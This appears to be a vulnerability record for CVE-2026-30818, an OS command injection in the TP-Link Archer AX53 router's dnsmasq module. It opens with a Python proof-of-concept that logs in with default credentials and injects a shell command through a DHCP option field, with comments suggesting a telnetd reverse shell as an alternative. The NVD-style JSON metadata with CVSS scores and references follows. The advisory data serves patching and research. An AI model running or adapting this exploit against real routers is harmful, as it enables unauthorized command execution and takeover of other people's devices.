CVE-2026-30818

import requests # Target URL (Example, adjust based on actual device endpoint) target_url = "http://192.168.0.1/cgi-bin/luci/admin/network/dhcp" # Attacker credentials (Low privilege required) username = "admin" password = "admin" # Malicious payload to inject OS command via dnsmasq config option # This payload attempts to ping a controlled server to verify execution # or could be replaced with a telnetd reverse shell payload payload = "; ping -c 3 192.168.1.100 #" data = { "dhcp_option": payload, "submit": "Save" } session = requests.Session() # 1. Authenticate login_data = {"luci_username": username, "luci_password": password} session.post(target_url.replace("/dhcp", "/login"), data=login_data) # 2. Send Exploit try: response = session.post(target_url, data=data) if response.status_code == 200: print("[+] Payload sent successfully. Check for command execution.") else: print(f"[-] Failed to send payload. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-30818", "sourceIdentifier": "f23511db-6c3e-4e32-a477-6aa17d310630", "published": "2026-04-08T19:25:20.770", "lastModified": "2026-05-07T16:16:18.780", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An OS command injection vulnerability in the dnsmasq module of TP-Link Archer AX53 v1.0 allows an authenticated adjacent attacker to execute arbitrary code when a specially crafted configuration file is processed due to insufficient input validation. Successful exploitation may allow the attacker to modify device configuration, access sensitive information, or further compromise system integrity.\n\nThis issue affects AX53 v1.0: before 1.7.1 Build 20260213."}], "metrics": {"cvssMetricV40": [{"source": "f23511db-6c3e-4e32-a477-6aa17d310630", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "f23511db-6c3e-4e32-a477-6aa17d310630", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:archer_ax53_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.7.1", "matchCriteriaId": "B096B7BB-7693-4C45-B5F7-8FD6E4969DCE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tp-link:archer_ax53:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "5F3EA1D9-EB47-4785-9CF0-F2B51945917D"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Third Party Advisory"]}, {"url": "https://www.tp-link.com/en/support/download/archer-ax53/v1/#Firmware", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Product"]}, {"url": "https://www.tp-link.com/my/support/download/archer-ax53/v1/#Firmware", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Product"]}, {"url": "https://www.tp-link.com/us/support/faq/5055/", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Vendor Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2306", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}